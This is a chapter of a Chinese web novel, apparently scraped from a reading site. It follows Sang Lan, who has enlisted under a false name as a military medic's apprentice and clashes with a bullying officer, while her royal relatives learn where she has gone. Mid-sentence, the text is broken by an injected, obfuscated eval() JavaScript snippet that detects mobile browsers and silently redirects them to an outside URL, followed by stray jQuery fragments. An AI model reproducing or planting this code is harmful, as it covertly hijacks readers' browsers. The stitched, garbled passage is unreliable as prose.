默认冷灰
24号文字
方正启体

71. 第一章

作者:春风渡人本书字数:K更新时间:
    白寇在药碾子来回翻滚,碾药的少年有着一双浅色琥珀眼。


    面色黝黑、眼睛清明的中年女子,正将桌上装好药的小盒子放入药箱里,朝树荫底下的桑澜喊:“赵澜,装上药,收拾东西,我们走了。”


    碾好的白寇倒进药袋,桑澜回应:“马上来。”


    双手各拎起一篓沉甸甸的药袋,转身提到车板上,来回折腾三四趟,又牵来毛驴,套上绳索。


    回屋拿个包裹,桑澜跳上车板:“白师傅,我们可以走了。”


    桑澜与小萝卜从越州,过海州,到幽州,找人办了新户籍。桑澜改名为赵澜,小萝卜本就叫赵七,两人扮作姐妹一起投军。


    见白师傅挎着药箱快步走来,桑澜问:“白师傅,我们去几天?”


    白医官坐上驴车:“不好说,少说十天,赵七待在营地里养鸡,不会有事。”她回头撇了一眼摆放整齐的篓子,“弓箭藏里头了?”


    桑澜点头:“带着呢,您放心吧。”


    她与小萝卜不到十八,且没有亲人,到不了前线。她会医术,跟着白医官,小萝卜则被分去管牲畜的吃食。


    一路穿过各个营地,到了幽州以北的边境。


    北朝来犯,幽州大军还未开拔,只派出一支先行军探查安营扎寨的位置和敌军动向。


    她与白医官骑着驴车,与送粮的小队一道过去送补给。


    出了关,遍地黄沙,砸在人脸上生疼。


    白医官递给桑澜一块头巾:“带上。”


    旁边送粮的人打趣道:“赵澜细皮嫩肉,是要带头巾的。”


    白医官斜那人一眼:“周老三,你家也有个姑娘,说话注意分寸。”


    周老三嬉皮笑脸地插科打诨,他晓得赵澜开得起玩笑,但瞥见前方出现的一支骑兵小队,脸色瞬间大变,扯着嗓子高喊:“北朝人!抄家伙!”


    运梁车、白医官和桑澜被小队护在后方。


    白医官拔出腰间短刀,安慰桑澜:“莫怕,他们只有六人,我们有二十个人。”


    桑澜:我不怕,我真的不怕。


    六个北朝人手持长枪,骑马朝小队冲过来。


    桑澜抽出篓子的弓箭,站在车板上,对准最前方的北朝人。


    周老三只见到跑在最前头的北朝人突然从马上摔下来,还没看清是怎么一回事,后面的北朝人长枪已至,他一刀挑开长枪:“杀!”


    白医官回头望见,桑澜抬手准备射第二箭,她拉住桑澜:“赵澜,坐下!”夺过弓箭,藏回篓子里,重新盖上布。


    桑澜不解,见周老三等人能应付过来,也就乖乖坐下。


    等到剩下五人都被拉下马、捆住,周老三回头问:“方才是谁射的箭?”


    桑澜没吭声,白医官掐着她的胳膊,叫她不许讲话。


    远方又出现一支骑兵,看衣装是大夏军。


    那边高呼:“没事吧。”


    周老三挥了挥手,显然是认得那人:“没事。”


    到了营地,桑澜跟着白医官进伤兵的帐篷。


    “我上药,你缝线。”


    “好。”


    桑澜取出针线跟在她后头,看白医官是如何快速诊断伤兵症状,再给出对症的药。


    营地里。


    “杜康,今个儿真是奇了。”周老三端起一碗水喝,解了渴,撂下碗说,“六个北朝人刚,一支箭射中此人眉心。”


    他指着尸体:“可我们今个儿出门,没人带弓箭,是不是老天爷保佑我们,天降神箭。”


    杜康笑了笑:“吹牛吧你,喝完水,趁早滚蛋。”


    周老三看向伤兵帐篷:“白医官跟她的小徒弟呢,不跟我们一道走?”


    “我们队、隔壁队,都有好些个兄弟伤得重,不好往回挪,她们得留下来照顾伤员。”


    杜康说着起身往伤兵帐篷走,刚走到门口,看见带着头巾的少年蹲在病床边:“你就是白医官的小徒弟?”


    桑澜全神贯注地剔除伤兵腿上的腐肉,小心避开会出血的地方,没功夫听人说话。


    “我问你话呢。”


    后背被人踹了一脚,她没有防备,下意识地避开伤兵的伤口,向一边滚去。


    剔骨刀还是擦过伤兵的腿,一道鲜血喷到桑澜脸上,她立即起身替伤兵止血。


    血止住了,伤兵撕心裂肺的痛叫声却止不住。


    隔壁帐篷里的白医官听到动静,连忙回来看,只见桑澜后背一个大脚印,头巾上全是血。


    醒来的伤员都望着杜康,白医官用脚指头想,也能猜到方才杜康挑事,她怒目而视道:“杜康,不想管你手下人的死活,就不要请医官来诊治。”


    白医官扶起桑澜,问:“疼吗?”


    桑澜刚想说不疼,白医官又掐她胳膊,连声道:“疼,疼,疼。”


    白医官冷声道:“刚到第一天,你无故出手伤我徒弟,我会将此事上报给总管。”


    杜康讪讪道:“开个玩笑,下手重了些。”


    白医官拿起剔骨刀,指着他:“玩笑?我往你脖子上扎一刀也是玩笑。”


    二十三个伤兵,七个重伤。


    等两人忙完,已经到后半夜。


    白医官与桑澜躺在一张床上,叮嘱道:“赵澜,这几日,不要摘下头巾,也不要离开我太远,有事就大声叫我。”


    桑澜:“白师傅,你知道的,我不怕他们。”


    “我知道你有本事,但这里是军营。赵姐把你分给我做徒弟,你就得听我的话,我不会害你。”白医官不愿回忆,只提醒桑澜,“军营里也有烂人。”


    桑澜心道:杜康是个烂人,她记下了。


    次日。


    桑澜没有因为杜康而为难他的手下,照常煎药、喂药、换药。


    有闲心讲话的伤兵,关心道:“小医官,伤不重吧,他就是那德性,你往后避开些。”


    “我没做错事,他这样不对。”白医官不愿道出实情,桑澜就引旁人讲实话。


    伤兵好心劝她:“犯轴了不是,咱们这支军的总管姓杜,杜康姓杜。听哥一句劝,犯不着得罪他。”


    头巾之下,桑澜挑眉问道:“亲生的?”


    “你问到点子上了。”伤兵低声说,“私生子,不光彩的那种,平日里怄气就拿我们打一顿。”


    “吃蜜枣吗?”桑澜分他一粒。


    伤兵笑着接过:“听你声音就像个孩子,爱吃甜食,果然是个孩子,你多大了?”


    她带着头巾,一直没摘下来过,仅能看见一双琥珀浅瞳,讲话的声音像是个年轻的小娘子。


    不故意为难她,她也不会在换药的时候折腾人。比起白医官,她更仔细伤兵的伤口,大家对她很有好感。


    桑澜拿起带血的布条:“今年十七了。”


    投军时,医官摸她的骨龄,测出来十六、七岁,而赵七今年十八岁。


    为此,赵七哼哼唧唧好几天,说什么白喊了那么多年姐姐,合着桑澜比她还小。


    换药的闲暇之余,桑澜靠在椅子上看医书,一只手伸过来拉她的头巾,她捉住那人的手。


    抬眸道:“杜队长,有何贵干?”


    杜康想收手,手腕却动不了半分,好大的劲儿!


    打瞌睡的伤兵被人推醒,一起看戏。


    杜康:“我好奇,你长什么模样。”


    “请回吧。”桑澜松了手,补上一句,“没缺胳膊少腿就不要来这吵闹,养伤需要静养。”


    众人倒吸一口凉气,小医官好胆量!


    昨日像个鹌鹑一样躲在白医官身后,今日转了性子,强硬起来了。


    杜康目光停留在地上的篓子:“你的篓子里藏有弓箭吧,北朝人是你杀的。”


    众人睁大了眼,心道:小医官个高,但比起魁梧的北人,只能算作细胳膊细腿。他们昨夜听同伴说,长箭直接穿过北人头颅。


    众人上下打量小医官,她看着不像能拉开重弓的样子。


    桑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15355418|156631||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    澜放下书:“我听不懂你在说什么。”拿长勺搅动药罐里滚烫的汤药,又往里填了些药材。


    杜康大步跨过案台,伸手去掀药篓子上的盖布。


    桑澜长勺一拦,药汁溅到地上:“杜队长手不干净,莫弄脏了药。”


    杜康:“我偏要掀开看看!”


    双方都不肯退让。


    一瞬间,剑拔弩张。


    ……


    白鹭书院。


    白发少年穿着一身宝蓝色云纹的长衣,依靠在木门边,堵住去路:“莲笙。”


    慕容莲笙提着一桶小鱼,推开门:“表哥。”黄腾扛着鱼竿跟在后面。


    卫安晏:“你姐姐去哪了?”


    “姐姐的事情,我从不过问。”慕容莲笙绑上臂绳,将桶里小鱼倒进石台凹陷内。


    他抬眼看卫安晏:“姐姐不告诉你,因为她不在意你,表哥何苦不肯放过自己呢?”


    “你怎知她不在意我。”卫安晏举起大拇指,金丝红玛瑙扳指折射着太阳光,那是桑澜赠他的生辰礼。


    卫安晏收回手,抬头看向屋脊上的走兽:“她临行前说,如果她能活着回来,再与我共饮青州酒。我来此寻你,是想知道她究竟要做什么事?竟不惜以身试险。”


    鱼刺没入慕容莲笙的手掌,刺破的地方缓缓流出鲜血,他道:“我不知道。”撑着石台,回头问,“姐姐当真那么说?”


    卫安晏窥见石台血迹,拿出一张手帕,递给他:“莲笙,我从不骗你。”


    慕容莲笙接过手帕:“我知道,我们回王府,世子或许知道。”姐姐离京前问他想做什么,想到这里,他抬眸,“姐姐从不失约。”


    两人乘快马回京,一进端亲王府,碰见小柳挎着菜篮子回府。


    小柳见他神色匆忙:“侯爷,您有急事?”


    慕容莲笙:“世子在府上吗?”


    红杏接过小柳手上重物:“王爷、王妃,郡主和世子,今天一早进宫了。”


    皇宫。


    满堂牌位前,跪着一群锦衣玉袍打扮的人。


    萧星洛望着前头龙袍背影:“皇帝舅舅,小澜在哪?”


    贤亲王有气无力,面色发白,跪坐在蒲团上,摇摇欲坠:“老五,小澜呢?”海棠夫人扶他一把,这才没倒下。


    皇帝盯着牌位上歪歪扭扭的猫爪印,沉默良久:“她去幽州投军了。”


    萧北辰脸色骤变:“幽州大军正与北朝打仗!”


    萧星洛半眯着眸子:“她为什么要去幽州?为何要投军?”


    为了桑澜,萧家人破天荒地齐聚在皇宫,捋时间线:贤亲王哄骗小澜吃药,失去记忆;端亲王府杨姨娘发卖小澜,让她不敢回京,在外流浪;皇帝给小澜派差事,让她有机会脱离众人视线。


    在大姨和萧家将士的牌位前,萧星洛责备长辈都有了底气,她母亲南疆王若不是脱不开身,此刻已经将剑架在诸位兄长的脖颈边。


    没人回答,萧星洛猜到些许内情,啐道:“狗屁世家,既有反叛之心,就该施以雷霆手段!堂堂一国郡主,为了报仇,千里迢迢去投军,说出去也不怕他国笑话。”


    萧夏彤紧紧攥着北芸姐姐的手:“芸姐姐,我们一起去幽州找小澜,找她回来。”萧北芸跟着点头。


    萧北辰稍稍冷静,想出应对之策:“小澜还不知自己的身份,一起过去找她,太显眼,派我去监军,没人会生疑。”


    赵辰荣望着儿子,忧心道:“若她不愿意跟你一起回来呢?她想藏起来,没人能找到她。”


    萧北辰回望赵辰荣:“母妃,那我会陪着小澜。”


    皇帝起身,抽出牌位底下的一封信:“这是她写给我的信,你们看过,再做决定。”


    萧星洛走到最前方,接了信,靠着定安长公主的牌位坐下,拆开信件,又拿过一盏油灯,照亮着看。


    展开信纸,狗爬一般的字迹入眼,她微微一愣,随即感叹道:“这么多年过去,她的字还是没长进”。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)